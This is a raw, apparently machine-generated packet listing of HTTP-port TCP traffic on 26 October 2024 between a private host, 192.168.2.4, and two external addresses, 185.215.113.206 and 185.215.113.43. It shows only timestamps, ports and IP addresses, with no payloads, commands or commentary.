Oct 26, 2024 05:55:05.215543985 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.215565920 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.215581894 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.215601921 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.215684891 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.215708971 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.215722084 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.215724945 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.215737104 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.215771914 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.215822935 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.215862036 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.215869904 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.215888977 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.215905905 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.215919971 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.216105938 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.216145992 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.216196060 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.216212034 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.216232061 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.216243982 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.216312885 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.216329098 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.216351986 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.216352940 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.216367960 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.216492891 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.216531992 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.216542959 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.216558933 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.216573954 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.216581106 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.216593027 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.216612101 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.372047901 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.372080088 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.372097015 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.372128963 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.372128963 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.372184038 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.372184992 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.372210026 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.372226954 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.372235060 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.372262001 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.372262001 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.372286081 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.372334957 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.372399092 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.372415066 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.372440100 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.372454882 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.372468948 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.372483969 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.372500896 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.372515917 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.372519970 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.372555017 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.372602940 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.372617960 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.372637987 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.372649908 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.372684956 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.372714996 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.372723103 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.372752905 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.372929096 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.372961998 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.373023987 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.373039961 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.373064041 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.373078108 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.373105049 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.373120070 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.373141050 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.373151064 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.373270988 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.373295069 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.373302937 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.373311043 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.373326063 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.373341084 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.373384953 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.373416901 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.373435974 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.373467922 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.697506905 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.697529078 CEST	49781	80	192.168.2.4	185.215.113.43
Oct 26, 2024 05:55:05.697577000 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.697582006 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.697599888 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.697622061 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.697645903 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.697691917 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.697709084 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.697731018 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.697740078 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.697813988 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.697829008 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.697844028 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.697854042 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.697860956 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.697871923 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.697885990 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.697890043 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.697909117 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.697927952 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.697957039 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.697973013 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.697988033 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.697994947 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.698003054 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.698014021 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.698026896 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.698029995 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.698043108 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.698045969 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.698059082 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.698064089 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.698074102 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.698076010 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.698093891 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.698097944 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.698117971 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.698128939 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.698376894 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.698420048 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.698456049 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.698472023 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.698484898 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.698493958 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.698503017 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.698507071 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.698520899 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.698534012 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.698543072 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.698550940 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.698569059 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.698571920 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.698585033 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.698599100 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.699032068 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.699065924 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.699073076 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.699105978 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.699153900 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.699170113 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.699184895 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.699193001 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.699202061 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.699212074 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.699218988 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.699227095 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.699234962 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.699238062 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.699251890 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.699259043 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.699269056 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.699279070 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.699285984 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.699292898 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.699302912 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.699309111 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.699327946 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.699338913 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.699342966 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.699378967 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.699537992 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.699553013 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.699568033 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.699579954 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.699583054 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.699610949 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.699615002 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.699625969 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.699635983 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.699635983 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.699642897 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.699657917 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.699659109 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.699666023 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.699673891 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.699687958 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.699691057 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.699706078 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.699707985 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.699724913 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.699726105 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.699739933 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.699743986 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.699755907 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.699763060 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.699770927 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.699785948 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.699801922 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.703016996 CEST	80	49781	185.215.113.43	192.168.2.4
Oct 26, 2024 05:55:05.703100920 CEST	49781	80	192.168.2.4	185.215.113.43
Oct 26, 2024 05:55:05.703273058 CEST	49781	80	192.168.2.4	185.215.113.43
Oct 26, 2024 05:55:05.708503962 CEST	80	49781	185.215.113.43	192.168.2.4
Oct 26, 2024 05:55:05.842609882 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.842710972 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.842726946 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.842742920 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.842762947 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.842788935 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.842804909 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.842839003 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.842896938 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.887046099 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.892380953 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.167735100 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.167762995 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.167809963 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.167819023 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.167825937 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.167859077 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.167915106 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.167979956 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.167994976 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.168004036 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.168004036 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.168004036 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.168004036 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.168004036 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.168010950 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.168016911 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.168040991 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.168067932 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.168109894 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.168126106 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.168142080 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.168152094 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.168170929 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.168189049 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.168385983 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.168400049 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.168415070 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.168421030 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.168437004 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.168452978 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.283057928 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.283112049 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.283128023 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.283195972 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.283210993 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.283212900 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.283230066 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.283253908 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.283277988 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.283339024 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.283354044 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.283370018 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.283385038 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.283385038 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.283392906 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.283402920 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.283413887 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.283432007 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.283446074 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.325395107 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.325412035 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.325428009 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.325442076 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.325459957 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.325488091 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.325520039 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.325522900 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.325540066 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.325561047 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.325567961 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.325577021 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.325597048 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.325623989 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.325686932 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.325702906 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.325751066 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.398550987 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.398571014 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.398587942 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.398643970 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.398670912 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.398694992 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.398710966 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.398725986 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.398741007 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.398751974 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.398758888 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.398775101 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.398780107 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.398792982 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.398821115 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.398916006 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.398931980 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.398946047 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.398962021 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.398988962 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.399101019 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.399359941 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.481822014 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.481836081 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.481858015 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.481873989 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.481888056 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.481895924 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.481904984 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.481913090 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.481920958 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.481950045 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.481964111 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.481995106 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.482033014 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.482033968 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.482074976 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.482103109 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.482116938 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.482160091 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.482256889 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.482270002 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.482306004 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.482311964 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.482345104 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.482352972 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.482366085 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.482393026 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.482404947 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.482496023 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.482537031 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.482574940 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.482675076 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.514049053 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.514066935 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.514082909 CEST	80	49745	185.215.113.206	192.168.2.4
